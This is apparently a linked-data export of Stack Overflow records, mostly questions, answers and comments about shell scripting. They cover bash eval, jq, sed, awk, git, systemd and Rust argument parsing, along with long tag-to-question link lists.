has body: In general, I need all this to process quotes in entering into Shell, for example, echo "Hello World", as well as so that the elements in the massif be perceived as a single element. struct Command { keyword: String, args: Vec<String>, } fn main() { let mut c: String = String::from("test \"one two\" three"); let cmd: Vec<String> = c.split_whitespace().map(|s| s.to_string()).collect(); let command: Command = search_quotes(cmd); } fn search_quotes(c: Vec<String>) -> Command { // Here I need the elements enclosed in quotes to unite in one element. // Prosice data for the withdrawal in this example below Command { keyword: "test", args: ["\"one two\"", "three"] } } Here is one of my attempts, here I wanted to fix the elements with quotes at the beginning and end by adding their place to the variable, and then I would just be able to fold all the elements in one let cmd = vec!["test", "\"one", "two\"", "three"]; let mut n: Vec<usize> = vec![]; for i in 0..cmd.len() { let bytes = cmd[i+1].as_bytes(); for (j, &item) in bytes.iter().enumerate() { if item == b'"' { if j == 0 || j == bytes.len()-1 { let n = n.push(i+1); } } } }
has title: how to combine Vec<> elements containing certain symbols in Rust
has comment: http://stackoverflow.com/comment/135229607
has comment: http://stackoverflow.com/comment/135229599
tagged with: string

fedora
tag name: fedora
type: Tag
tags question: http://stackoverflow.com/q/76678493
tags question: http://stackoverflow.com/q/77072494

jq
tags question: http://stackoverflow.com/q/76683161
tags question: http://stackoverflow.com/q/76570156
tags question: http://stackoverflow.com/q/76656017
type: Tag
tag name: jq
tags question: http://stackoverflow.com/q/76696095
tags question: http://stackoverflow.com/q/76842785
tags question: http://stackoverflow.com/q/76835075
tags question: http://stackoverflow.com/q/76913125
tags question: http://stackoverflow.com/q/76993197
tags question: http://stackoverflow.com/q/77012572
tags question: http://stackoverflow.com/q/77093338
tags question: http://stackoverflow.com/q/77170372
tags question: http://stackoverflow.com/q/77235620
tags question: http://stackoverflow.com/q/77171901
tags question: http://stackoverflow.com/q/77187096
tags question: http://stackoverflow.com/q/77342021
tags question: http://stackoverflow.com/q/77255519
tags question: http://stackoverflow.com/q/77504229
tags question: http://stackoverflow.com/q/77583221
tags question: http://stackoverflow.com/q/77556057
tags question: http://stackoverflow.com/q/77489086
tags question: http://stackoverflow.com/q/77536544
tags question: http://stackoverflow.com/q/77958241
tags question: http://stackoverflow.com/q/77908875
tags question: http://stackoverflow.com/q/78021543
tags question: http://stackoverflow.com/q/78143536
tags question: http://stackoverflow.com/q/78180419
tags question: http://stackoverflow.com/q/78239304
tags question: http://stackoverflow.com/q/78618296
tags question: http://stackoverflow.com/q/78873556
tags question: http://stackoverflow.com/q/78808557
tags question: http://stackoverflow.com/q/78760238
tags question: http://stackoverflow.com/q/78977238
tags question: http://stackoverflow.com/q/79208308
tags question: http://stackoverflow.com/q/79135225
tags question: http://stackoverflow.com/q/79257584

http://stackoverflow.com/comment/135157067
score: 1
comment on: http://stackoverflow.com/q/76659118
type: Comment
has text: Please [edit] your question to show the expected output, don't just describe it.
type: QuestionComment

http://stackoverflow.com/comment/135027547
score: 0
has text: But fish doesn't actually export arrays, and it inherently can't because environment variables *are plain strings*. What fish does is converts arrays to a stringified version and export that, but the exported version is not an array anymore. If you access it from ruby, it'll be a string (which you could split into an array, but until/unless you split it, it's just a string). Even fish itself will see the env variable as a plain string. Subshells will see the array, because they get copies of non-exported data, but try `set -gx array one two three; fish -c 'count $array'`, and it'll print "1".
comment on: http://stackoverflow.com/a/76578437
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135051700
has text: @Dai I've tried that and checked the Win11 taskbar with spy++ and seems like it's only 2 windows, one for the icons and one for the entire taskbar with the icons window toggleable, sadly, I need to position my custom control right next to the search bar and this might not be enough information to just get the position and rectangles of 2 windows
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76597816
type: QuestionComment

http://stackoverflow.com/q/76685165
type: UnansweredQuestion
tagged with: gitlab
has comment: http://stackoverflow.com/comment/135225952
tagged with: gitlab-ci
answer count: 0
has comment: http://stackoverflow.com/comment/135239386
has title: Why gitlab shell runner will use su command
has body: When I want to use shell type gitlab runner，ci job remind me on vmuatdzsrs01 uvrdzpq6 Resolving secrets 00:00 Preparing the "shell" executor 00:00 Using Shell executor... Preparing environment 00:00 ERROR: Job failed (system failure): prepare environment: failed to start process: exec: "su": executable file not found in $PATH. Check https://docs.gitlab.com/runner/shells/index.html#shell-profile-loading for more information I have tried to search the material, but I can't find any relevant information
has comment: http://stackoverflow.com/comment/135227498
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135200057
tagged with: shell

http://stackoverflow.com/q/76644366
upvote count: 2
has comment: http://stackoverflow.com/comment/135129339
has comment: http://stackoverflow.com/comment/135132355
downvote count: 0
type: Question
tagged with: java
has body: I'm creating a console calculator-application of Roman numbers, as a practice, and using Java, Spring Shell 3.1.2. Right now it works correctly with Roman numbers like: calc "V + V" result: X calc "V * V" result: XXV Since Roman numbers have no such thing as negative values, I would like to show the user a notification about this if he tries to enter a command: calc "-V * V" result: Roman numerals must be positive. I've already created all the necessary logic in the code, through parsing and exceptions. However, I faced with another problem when checking how it works. I'm trying to write something like to the console myself, and the problem is: calc "-V * V" result: 2001E:(pos 0): Unrecognised option '-V * V' 2000E:(pos 0): Missing mandatory option, longnames='expression', shortnames='' I've tried various input options in the console, such as using the characters '-V*V' instead of '-V*V', missing characters and all that, but it doesn't help. The only thing that changes the situation at least a little is a similar input option: calc "V * -V" Can you recommend me something? Is it possible somehow to turn-off flags option in the Spring Shell application?
type: UnansweredQuestion
tagged with: spring-shell
tagged with: spring
has comment: http://stackoverflow.com/comment/135132437
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135132376
has title: Is there any way to disable denoting command-line options or flags, in Spring Shell when using the '-' character?
has comment: http://stackoverflow.com/comment/135130191
favorite count: 0
score: 2

http://stackoverflow.com/a/76631696
type: Answer
has comment: http://stackoverflow.com/comment/135108483
downvote count: 0
has comment: http://stackoverflow.com/comment/135108462
accepted answer of: http://stackoverflow.com/q/76631657
score: 3
type: AcceptedAnswer
upvote count: 3
answers question: http://stackoverflow.com/q/76631657
has body: Change ./just_print.sh &quot;${enc_cmd}&quot; to eval &quot;./just_print.sh ${enc_cmd}&quot; so it will evaluate the result of the variable expansion as shell code. Otherwise it's treated as a literal argument to just_print.sh. Be very careful when using eval -- the code to be executed should be generated by your script, not user-provided.

http://stackoverflow.com/comment/135065138
has text: Also, for files specifically, getting the timestamp of the file and comparing timestamps is unnecessary. Bash has `file1 -nt file2 ` (file1 newer than file2) and `file1 -ot file2 ` (file1 older than file2) to compare file times directly.
comment on: http://stackoverflow.com/q/76601045
type: QuestionComment
type: Comment
score: 0

remote-access
type: Tag
tag name: remote-access
tags question: http://stackoverflow.com/q/76698598

http://stackoverflow.com/a/76638142
has comment: http://stackoverflow.com/comment/139488406
has comment: http://stackoverflow.com/comment/135119141
has comment: http://stackoverflow.com/comment/135119210
upvote count: 4
has comment: http://stackoverflow.com/comment/135119206
has comment: http://stackoverflow.com/comment/135173837
has comment: http://stackoverflow.com/comment/135119184
type: Answer
answers question: http://stackoverflow.com/q/76638009
score: 4
has comment: http://stackoverflow.com/comment/139282884
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76638009
has body: The problem is that you already have an alias named gss, that's what the first warning is telling you. The syntax error happens because when it sees a line beginning with gss, it expands the alias. After that, the braces for holding the function body are no longer valid syntax. If you can't find where that alias is being defined and remove it, you have two options in this file: Remove the alias first: unalias gss gss() { local comment comment=$1 shift 1 || return git stash save -u &quot;${comment}&quot; &quot;$@&quot;; } or use the alternative syntax for defining the function: function gss { local comment comment=$1 shift 1 || return git stash save -u &quot;${comment}&quot; &quot;$@&quot;; } A third option is to rename the function or alias, so they don't conflict.
has comment: http://stackoverflow.com/comment/135178235
has comment: http://stackoverflow.com/comment/135119194
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139282916

http://stackoverflow.com/comment/134974866
comment on: http://stackoverflow.com/q/76550372
score: 0
has text: On many systems `/bin/sh` is a symlink to `zsh`. When it's invoked as `sh`, the program [tries to emulate](https://zsh.sourceforge.io/Doc/Release/Invocation.html#Compatibility) the Bourne shell, which is very different from `zsh`.
type: QuestionComment
type: Comment

reticulate
tags question: http://stackoverflow.com/q/76631928
type: Tag
tag name: reticulate

http://stackoverflow.com/comment/135170854
type: Comment
has text: @Pippo ```$output_dir``` was a mistake, correction of that is ```glob("output_dir/*")```
comment on: http://stackoverflow.com/q/76664368
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135056585
type: Comment
has text: A note of caution, if your private registry is `registry:2`, aka github.com/distribution/distribution, the included GC will delete too much if you have multi-platform images. For more details, see https://github.com/distribution/distribution/issues/3178
score: 0
comment on: http://stackoverflow.com/q/76578643
type: QuestionComment

http://stackoverflow.com/comment/135192495
type: QuestionComment
type: Comment
has text: If I'm not mistaken, `> return_resp` creates a file with that name, and you (vainly) try to echo a env variable with the same name.
score: 0
comment on: http://stackoverflow.com/q/76676053

http://stackoverflow.com/a/76680195
score: 0
answers question: http://stackoverflow.com/q/76673561
has body: Gentoo is very different from Debian and its derivatives. One of Gentoo's distinguishing characteristics is that its package manager, Portage, performs a custom local build of each package it installs. USE is a feature of Portage, and it makes sense only that or a similar context, because it influences those local builds. On the other hand, Debian's package-management system, Apt, is organized around installing pre-built binary packages. USE does not make sense there, because pre-building packages precludes those packages being modulated by local settings. Systems that use this kind of package management approach either pre-select package options at the Linux distribution level or split optional features out into their own packages. Generally speaking, they also have dependency-management features to help avoid missing dependencies when you install a package. Is it possible for every package [...] that I can download through apt-get source, or is this a Gentoo specific feature? USE is specific to Portage. That's not the same as being specific to Gentoo (other Linux distributions use it too), but it does mean that it is not a Debian feature. On Debian, I urge you to use the distro's standard (binary) packages via apt install / apt upgrade, rather than downloading sources and building locally. This will be faster, easier, and more reliable, and it will tend to provide better system stability, too.
type: Answer

http://stackoverflow.com/comment/134996573
type: Comment
has text: This is precisely what I don't what to do - i want to run it from a different directory as stated in the question
type: QuestionComment
comment on: http://stackoverflow.com/q/76566011
score: 0

http://stackoverflow.com/a/76631583
upvote count: 1
type: Answer
has body: I think using git rebase is the simplest option. Something like this should work: git rebase --exec "rubocop --autocorrect; git add -u; git commit --amend --no-edit" ... git add -u will stage all modified files.
answers question: http://stackoverflow.com/q/76631087
downvote count: 0
score: 1

http://stackoverflow.com/comment/135022288
score: 0
type: Comment
has text: How are you defining "older than X days"? Are you looking at the created time in the image config? Do you have multi-platform images? Do you care about when the image was pushed or last used? Do you need to preserve some number of images?
type: QuestionComment
comment on: http://stackoverflow.com/q/76578643

http://stackoverflow.com/a/76581531
type: Answer
score: 0
has body: This is nontrivial to do. A standalone executable is usually called a "statically linked" binary, meaning all of its dependencies were pulled in and bundled into the executable. That way it doesn't need to dynamically load any libraries at runtime and will always run the same on any system with a compatible architecture. In truth there is a spectrum to this: do you statically link everything? Even libc? It depends on what you want to do with the resulting binary. Luckily for you, it looks like someone already did this for Ruby. Travelling Ruby provides prebuilt binaries and tools for making custom packages which include gems.
answers question: http://stackoverflow.com/q/76579841

http://stackoverflow.com/q/76590436
has comment: http://stackoverflow.com/comment/135039280
has comment: http://stackoverflow.com/comment/135039666
has comment: http://stackoverflow.com/comment/135039352
has comment: http://stackoverflow.com/comment/135038844
answer count: 1
linked to: http://stackoverflow.com/q/11533063
has comment: http://stackoverflow.com/comment/135039887
has comment: http://stackoverflow.com/comment/135039844
has body: I am trying to extract the Diagram ID from a file which looks like id DiaMatch(13) = Sector(A1x12, 5, 47) * Shift(k2, -k2+k1, [], k1, -p2+k1, []); id DiaMatch(14) = Sector(A2x12, 5, 47) * Shift(k2, k1-k2, [], k1, -p2+k1, []); id DiaMatch(15) = Sector(A1, 5, 47) * Shift(k2, -k2+k1, [], k1, -p1+k1, []); id DiaMatch(16) = Sector(A2, 5, 47) * Shift(k2, k1-k2, [], k1, k1-p1, []); id DiaMatch(01) = Sector(A3x12, 6, 111) * Shift(k2, p2-k1, [], k1, k1-k2+p1, []); id DiaMatch(02) = Sector(A3, 6, 111) * Shift(k2, -k1+k2, [], k1, k1, []); id DiaMatch(07) = Sector(A1, 6, 111) * Shift(k2, -k2, [], k1, p1-k1, []); id DiaMatch(08) = Sector(A2, 6, 111) * Shift(k2, -k2, [], k1, -k1+p1, []); id DiaMatch(09) = Sector(A3x12, 6, 123) * Shift(k2, k1, [], k1, k2, []); id DiaMatch(10) = Sector(A2x12, 6, 63) * Shift(k2, p2-k2, [], k1, p2-k1+p1, []); id DiaMatch(11) = Sector(A3, 6, 123) * Shift(k2, k1, [], k1, k2, []); id DiaMatch(12) = Sector(A2, 6, 63) * Shift(k2, p1-k2, [], k1, p2-k1+p1, []); I only want to extract the numbers 13,14,15 and so on and save in a new file, and other things to be excluded. I am very new in shell and could not try anything without opening and reading the file while read line; do echo $line done &lt;jobs.yaml
has answer: http://stackoverflow.com/a/76590858
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135039453
has title: Extracting some part of each line of a file in shell
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/69665960
has comment: http://stackoverflow.com/comment/135038854
linked to: http://stackoverflow.com/q/29378566
has comment: http://stackoverflow.com/comment/135039273
has comment: http://stackoverflow.com/comment/135039467

sorting
tag name: sorting
tags question: http://stackoverflow.com/q/76633664
type: Tag
tags question: http://stackoverflow.com/q/77096322
tags question: http://stackoverflow.com/q/77512588
tags question: http://stackoverflow.com/q/77530916
tags question: http://stackoverflow.com/q/77716051
tags question: http://stackoverflow.com/q/77879731
tags question: http://stackoverflow.com/q/77813963
tags question: http://stackoverflow.com/q/78116662
tags question: http://stackoverflow.com/q/78501464
tags question: http://stackoverflow.com/q/78846515
tags question: http://stackoverflow.com/q/78846018
tags question: http://stackoverflow.com/q/78951807
tags question: http://stackoverflow.com/q/79144794
tags question: http://stackoverflow.com/q/79078029
tags question: http://stackoverflow.com/q/79502626

http://stackoverflow.com/q/76599721
has comment: http://stackoverflow.com/comment/135054496
type: UnansweredQuestion
has body: Is there the right way to reference a shell script written within a script in a YAML file? E.g.: data: ex1.sh: | #!/bin/bash -x . /shellscriptloc/ex2.sh ... ... ... ex2.sh: | &lt;no bin bash&gt; The YAML file is part of a helm chart setup that is triggered during helm install and helm hooks The YAML file is imported into a daemon set, and the yaml file presented as a config. in the daemon set, the script is called to execute inside a Kubernetes node. And the script is passed as data from this YAML file q1 : is the location reference of ex2.sh correct for using/calling methods defined within ex2.sh :- . /shellscriptloc/ex2.sh this is the current way I tried but causing errors. q2 : does not defining ex2.sh as bin bash, the right way to go about it? ex2.sh contains functions that can be called are used within ex1.sh
has comment: http://stackoverflow.com/comment/135054591
has comment: http://stackoverflow.com/comment/135054535
has answer: http://stackoverflow.com/a/76605081
has comment: http://stackoverflow.com/comment/135059090
has title: Reference shell Script within a shell Script in YAML
has comment: http://stackoverflow.com/comment/135061585
tagged with: bash
tagged with: yaml
has comment: http://stackoverflow.com/comment/135063248
tagged with: kubernetes-helm
answer count: 1
has comment: http://stackoverflow.com/comment/135054682
has comment: http://stackoverflow.com/comment/135062887
has comment: http://stackoverflow.com/comment/135061920
has comment: http://stackoverflow.com/comment/135061266
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/q/76617416
tagged with: shell
has title: Module Specifier error when running simple script.js on Windows Powershell/cmd prompt
has comment: http://stackoverflow.com/comment/135137491
tagged with: k6
type: Question
answer count: 0
has body: After coming across k6, according to their documentation I created a simple Javascript file with the code given in their documentation, saved it. But when Im trying t run it, it is showing the below response.enter image description here How can I get rid of this, I know its something obvious but can anyone help with this? I tried saving the file on another editor and running it again on command prompt but it showed the same.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135137486
tagged with: command-line
score: 0
tagged with: command-line-interface

http://stackoverflow.com/comment/135184136
has text: It's unclear from your description, what exactly you consider a response. Is it the standard output of a program? Or the standard error? Or both?
comment on: http://stackoverflow.com/q/76676053
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135081678
type: Comment
score: 1
has text: Without being able to (clearly) see what Tcl is being told to run, it's going to be hard to diagnose this
comment on: http://stackoverflow.com/q/76615358
type: QuestionComment

http://stackoverflow.com/comment/135070284
score: 0
type: Comment
type: AnswerComment
has text: You could use a python solution instead of perl, of course, but I don't like python unless someone pays me to write in it, so *I* didn't.
comment on: http://stackoverflow.com/a/76608578

http://stackoverflow.com/comment/134972990
has text: Whenever creating an example to demonstrate your problem, include regexp chars and substrings in the text to match (e.g. `the`, `there`, `t.e`) and backreferences in the string to be replaced (e.g. `&`, `\1`, `\\1`) and typical delimiters in both (e.g. `/`, `|`, `:`, `#`) if any of those can occur in your real data. Otherwise you're likely to get solutions that will only work for sunny day cases and fail later with your real data. See [how-do-i-find-the-text-that-matches-a-pattern](https://stackoverflow.com/questions/65621325/how-do-i-find-the-text-that-matches-a-pattern) for more info.
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76549073

http://stackoverflow.com/q/76623990
tagged with: shell
score: -3
upvote count: 0
type: UnansweredQuestion
has title: how to remove part of string in every lines
downvote count: 3
tagged with: sed
answer count: 2
has answer: http://stackoverflow.com/a/76629328
has body: I'm using sed to filter and correct a string of a list of files. I have a sorted list of file and I want to remove part of string in every lines. To do this task I'm using the solution with sed , but no result. this is a sample of string. arinare-naturale-sexy-e-p0rchissima-f-it63s1vg0/index.htmli i must remove -it?????? I have a mac osx , with brew installed, using bash for script , but no result thanks
favorite count: 0
has comment: http://stackoverflow.com/comment/135095854
has answer: http://stackoverflow.com/a/76630932
tagged with: grep
type: Question

http://stackoverflow.com/comment/135096031
has text: The file you provide does not appear to make use of any arguments passed to it (eg. `login`, `lcmexport`, etc). Perhaps you have truncated it.
type: Comment
comment on: http://stackoverflow.com/q/76624018
score: 0
type: QuestionComment

http://stackoverflow.com/a/76632004
has body: msg="hello world" msg_enc="$(echo $msg | base64)" dry_run="eval" if [[ "${1}" == "dry-run" ]]; then dry_run="echo" fi enc_cmd=" <(echo \$msg_enc | base64 -d -)" $dry_run "./just_print.sh ${enc_cmd}" You were on the right track with eval, but you over-complicated it. You just needed to restructure it so that the whole command was evaled. I also simplified your logic so that dry run commands and executed commands are unified, avoiding ugly and error-prone if blocks.
downvote count: 0
answers question: http://stackoverflow.com/q/76631657
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135108936
type: Answer

http://stackoverflow.com/comment/135054682
type: QuestionComment
comment on: http://stackoverflow.com/q/76599721
score: 0
type: Comment
has text: @larsks The YAML file is part of a helm chart setup that is triggered during helm install and helm hooks. Question edited. apologies for missing out the info on this

amazon-s3
type: Tag
tags question: http://stackoverflow.com/q/76681101
tag name: amazon-s3
tags question: http://stackoverflow.com/q/77291809
tags question: http://stackoverflow.com/q/77646010
tags question: http://stackoverflow.com/q/78075819
tags question: http://stackoverflow.com/q/78159800
tags question: http://stackoverflow.com/q/78920310

http://stackoverflow.com/a/76679063
type: Answer
score: 2
has body: Here is a simple solution: curl -s https://www.url.com/ \ | grep -Eo '/news/[^ >]+' \ | xargs -I "{}" echo "https://www.url.com{}"
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/76679026
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76679026

http://stackoverflow.com/comment/135211091
has text: That's good information to know. Thank you for the input. For now I think I am going to run with /bin/bash then. I don't think I want the overhead that `git-bash.exe` introduces with Mintty, etc.
score: 0
comment on: http://stackoverflow.com/q/76692290
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134979700
type: QuestionComment
score: 0
has text: Assuming that code will need the same quoting -- even if you've dealt with the leading `$` difference -- to be parsed by both perl and shell is... not a safe assumption to be making, _especially_ when that code contains arbitrary user-provided strings like passwords. I'd _really_ suggest switching to a common format like JSON.
comment on: http://stackoverflow.com/q/76555096
type: Comment

http://stackoverflow.com/q/76678493
type: Question
has comment: http://stackoverflow.com/comment/135187677
has body: I have a php code that run pyhton code but is not working os: fedora 38 server: localhost using apache $command = 'py testCODES.py'; $output = shell_exec($command.' 2&gt;&amp;1'); it gives me this error No executable found for Python any solutions? i tried solutions these commands: sudo chown -R apache:apache /var/www/ sudo chmod -R 755 /var/www sudo chmod +x *.py
score: 1
accepted answer: http://stackoverflow.com/a/76697704
upvote count: 1
favorite count: 0
tagged with: php
has title: problem when using shell_exec() in php code to run python script
has answer: http://stackoverflow.com/a/76697704
downvote count: 0
answer count: 1
tagged with: apache
tagged with: shell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135187774
tagged with: fedora
tagged with: python

powershell
tags question: http://stackoverflow.com/q/76566816
tag name: powershell
tags question: http://stackoverflow.com/q/76656871
tags question: http://stackoverflow.com/q/76588578
tags question: http://stackoverflow.com/q/76646008
tags question: http://stackoverflow.com/q/76656059
type: Tag
tags question: http://stackoverflow.com/q/76655946
tags question: http://stackoverflow.com/q/76792437
tags question: http://stackoverflow.com/q/76869809
tags question: http://stackoverflow.com/q/76837122
tags question: http://stackoverflow.com/q/76762779
tags question: http://stackoverflow.com/q/76857017
tags question: http://stackoverflow.com/q/76810878
tags question: http://stackoverflow.com/q/76718065
tags question: http://stackoverflow.com/q/77037911
tags question: http://stackoverflow.com/q/77059371
tags question: http://stackoverflow.com/q/77046907
tags question: http://stackoverflow.com/q/77007882
tags question: http://stackoverflow.com/q/77046185
tags question: http://stackoverflow.com/q/76966101
tags question: http://stackoverflow.com/q/77118875
tags question: http://stackoverflow.com/q/77070425
tags question: http://stackoverflow.com/q/77299995
tags question: http://stackoverflow.com/q/77338063
tags question: http://stackoverflow.com/q/77574351
tags question: http://stackoverflow.com/q/77490024
tags question: http://stackoverflow.com/q/77513302
tags question: http://stackoverflow.com/q/77459090
tags question: http://stackoverflow.com/q/77927579
tags question: http://stackoverflow.com/q/77970148
tags question: http://stackoverflow.com/q/78218860
tags question: http://stackoverflow.com/q/78302760
tags question: http://stackoverflow.com/q/78361976
tags question: http://stackoverflow.com/q/78409064
tags question: http://stackoverflow.com/q/78421485
tags question: http://stackoverflow.com/q/78370924
tags question: http://stackoverflow.com/q/78311698
tags question: http://stackoverflow.com/q/78356094
tags question: http://stackoverflow.com/q/78455681
tags question: http://stackoverflow.com/q/78663572
tags question: http://stackoverflow.com/q/78621697
tags question: http://stackoverflow.com/q/78730511
tags question: http://stackoverflow.com/q/78687651
tags question: http://stackoverflow.com/q/78699345
tags question: http://stackoverflow.com/q/78612180
tags question: http://stackoverflow.com/q/78671977
tags question: http://stackoverflow.com/q/78627733
tags question: http://stackoverflow.com/q/78870307
tags question: http://stackoverflow.com/q/78943206
tags question: http://stackoverflow.com/q/78964642
tags question: http://stackoverflow.com/q/79193883
tags question: http://stackoverflow.com/q/79093235
tags question: http://stackoverflow.com/q/79087081
tags question: http://stackoverflow.com/q/79264968
tags question: http://stackoverflow.com/q/79334513
tags question: http://stackoverflow.com/q/79292221
tags question: http://stackoverflow.com/q/79359037
tags question: http://stackoverflow.com/q/79445194

http://stackoverflow.com/q/76570156
upvote count: 1
tagged with: jq
has comment: http://stackoverflow.com/comment/135004861
has body: I have following data.json to be modified , I want to change the state to "disabled" based on the filtered IP address range(eg "10.13*". I tried following command and I need to get whole json content as the out put, but i'm getting a syntax errors for this(I have used same for updating a single value(without using character mapping), it worked fine. (Plan is to use this in shell command and redirect the out put to a new file). Can someone help me on this jq '(.[]| select(.node|test("^10.13*"))).state |="disabled" data.json [ { "node":"10.13.248.254:61052", "state": "active" }, { "node":"10.13.248.255:61052", "state": "active" }, { "node":"10.54.247.228:61052", "state": "active" }, { "node":"10.54.247.229:61052", "state": "active" } ]
has answer: http://stackoverflow.com/a/76573423
has title: How to change multiple values in a json using jq by selecting them by key and getting whole json output
has comment: http://stackoverflow.com/comment/135004419
answer count: 2
has comment: http://stackoverflow.com/comment/135004833
downvote count: 0
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76572254
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/76572254
type: Question
possible better answer: http://stackoverflow.com/a/76573423
tagged with: shell
score: 1

http://stackoverflow.com/comment/134971531
comment on: http://stackoverflow.com/q/76551148
type: Comment
score: 0
has text: Looks like you might be missing a double quote in this line: `if "$num -eq "$hpass" ; then`
type: QuestionComment

http://stackoverflow.com/q/76578209
has title: restart a daemon service(golang gin), it kill other service
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
score: 1
favorite count: 0
tagged with: go
tagged with: systemd
has comment: http://stackoverflow.com/comment/135018101
has body: I have a service dbagent(golang & gin). It is managed by systemd. Dbagent execute start-a.sh scripts. And start.sh execute another script:start-b.sh, the b script start a java service... When i systemctl restart dbagent, it will kill the my java service. golang execute start-a.sh exec.Command("bash", "/etc/start-a.sh").Start() start-a.sh nohup /etc/start-b.sh 1>/dev/null 2>&1 & start-b.sh nohup java -jar xxxx 2>&1 & when i execute systemctl status dbagent, the result is: [root@core03 bin]# systemctl status dbagent-server ● dbagent-server.service - "Database Agent Server" Loaded: loaded (/etc/systemd/system/dbagent-server.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2023-06-29 12:22:09 CST; 29min ago Main PID: 1905 (dbagent-server) CGroup: /system.slice/dbagent-server.service ├─1905 /usr/local/dbagent-server/dbagent-server ├─2795 /usr/java/jdk1.8.0_301-amd64/bin/java -Xmx1500m -X So when i restart dbagent(pid:1905 ), the child process(pid: 2795)also will be killed. How can i avoid kill the other service when i restart dbagent? I can't change start-b.sh. i have try: cmd := exec.Command("bash", "/etc/start-a.sh") cmd.SysProcAttr = &syscall.SysProcAttr{ Setsid: true, //Setpgid also try } cmd.Start() cmd := exec.Command("setsid", "/etc/start-a.sh") cmd.Start() cmd := exec.Command("bash", "/etc/start-a.sh & disown") change start-a.sh setsid /etc/start-b.sh They don't work.
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/135028903
score: 0
type: Comment
has text: That was it, not sure how I missed the pipe `|`. Thanks!
type: AnswerComment
comment on: http://stackoverflow.com/a/76583926

http://stackoverflow.com/q/76621052
has comment: http://stackoverflow.com/comment/135093436
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135092957
has comment: http://stackoverflow.com/comment/135092423
tagged with: sbt
has title: Redirect Scala-Sbt application output to a file
tagged with: scala
answer count: 0
score: 1
upvote count: 1
favorite count: 0
has body: I am trying to debug the logs of an application on the localhost. sbt "run 9001" > logFile And this doesn't work. In the log file along with other lines i see this: [info] loading global plugins from /Users/----/.sbt/1.0/plugins [info] loading settings for project -build from plugins.sbt ... [info] loading project definition from ---- [info] loading settings for project --- from build.sbt ... [info] loading settings for project slickCodeGenProject from build.sbt ... [info] set current project to serenity (in build file:) [35m--- (Running the application, auto-reloading is enabled) ---[0m [[37minfo[0m] p.c.s.NettyServer - Listening for HTTP on /0:0:0:0:0:0:0:0:9001 [32m(Server started, use Enter to stop and go back to the console...)[0m [[37minfo[0m] p.c.s.NettyServer - Stopping server... I saw many questions related to this on stack overflow but nothing seemed to have worked for me in this case. Please suggest if there are any possible ways that we can redirect the logs of the running application to the logfile. Cheers.
has comment: http://stackoverflow.com/comment/135093208
has comment: http://stackoverflow.com/comment/135092408
downvote count: 0
type: Question
tagged with: shell

http://stackoverflow.com/q/76657138
favorite count: 0
has comment: http://stackoverflow.com/comment/135152355
tagged with: unix
type: Question
tagged with: shell
tagged with: linux
upvote count: 2
has body: I am trying to focus the nearest window left/right/down/up of the current window using wmutils[1] and shell scripting. The plan is to list all window ID and offset and find the closest window to the focused window in a given direction. The offset in the x direction is the pixels between the left side of the screen and the left border of the window. Here I am using pfw to get the window ID of the current window. Then I use lsw to list all windows and pipe into sed to remove the current window ID from the list. Lastly I find the current windows x offset with wattr x $cur (I am only using the x offset because solving down/up should be trivial once I get left/right done). cur=`pfw` rcw=`lsw | sed '/'$cur'/d'` curoff=`wattr x $cur` Then I print the window ID and x offset of every other window. for i in $rcw do wattr ix $i done The output looks like this with the window ID in the first field and x offset in second: 0x00c00005 152 0x01000015 0 0x01800001 2 0x01a00005 67 Now I need to subtract the x offset of the current window from the x offset of every other window to find the closest one in the x direction (left or right). So I piped the output to awk: awk ' { dis = $2 - '$curoff' } { print $1 , dis } ' Which prints the window ID and the distance between the focused window and the the other windows. So the windows to the left have negative distance and windows to right are positive. Now to figure out the closest window to the left I have to find the largest negative number in the output. And for the closest window to the right I have to find the smallest positive number. Here is an example of the output: 0x01000015 -166 0x01600005 514 0x01800001 -164 I tried finding the minimum but that doesn't work since we have negative and positive numbers. Another idea could be to find the negative number closest to 0 for left and the positive number closest to 0 for right. Any ideas would be appreciated
type: UnansweredQuestion
downvote count: 0
has title: Focus nearest window to left/right/down/up using wmutils
answer count: 1
has comment: http://stackoverflow.com/comment/135167008
has answer: http://stackoverflow.com/a/76930679
tagged with: awk
score: 2
tagged with: bash
has comment: http://stackoverflow.com/comment/135152592

http://stackoverflow.com/q/76657149
has body: I am trying to get list of remote branch which has commit within 30 days and sort them. git fetch # List remote branches containing the name "selva" branches=$(git branch -r) # Create an empty array to store filtered branches filtered_branches=() # Loop through each branch for branch in $branches; do # Check if the branch has commits in the last 30 days if git log -1 --since="30 days ago" --pretty=format:'' --abbrev-commit "$branch" >/dev/null 2>&1; then filtered_branches+=("$branch") fi done # Sort the filtered branches based on the oldest first sorted_branches=($(for branch in "${filtered_branches[@]}"; do echo "$(git log -1 --format=%ct "$branch") $branch" done | sort -n | cut -d' ' -f2-)) This is what I tried but its not fetching branches which has commits with in 30 days.
tagged with: github
tagged with: remote-branch
tagged with: version-control
answer count: 0
has comment: http://stackoverflow.com/comment/135155897
has title: list remote branches has commit within 30 days
score: 0
type: Question
tagged with: shell
tagged with: git
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135152019
has comment: http://stackoverflow.com/comment/135153217

http://stackoverflow.com/q/76581584
tagged with: sh
has comment: http://stackoverflow.com/comment/135023418
score: 0
type: Question
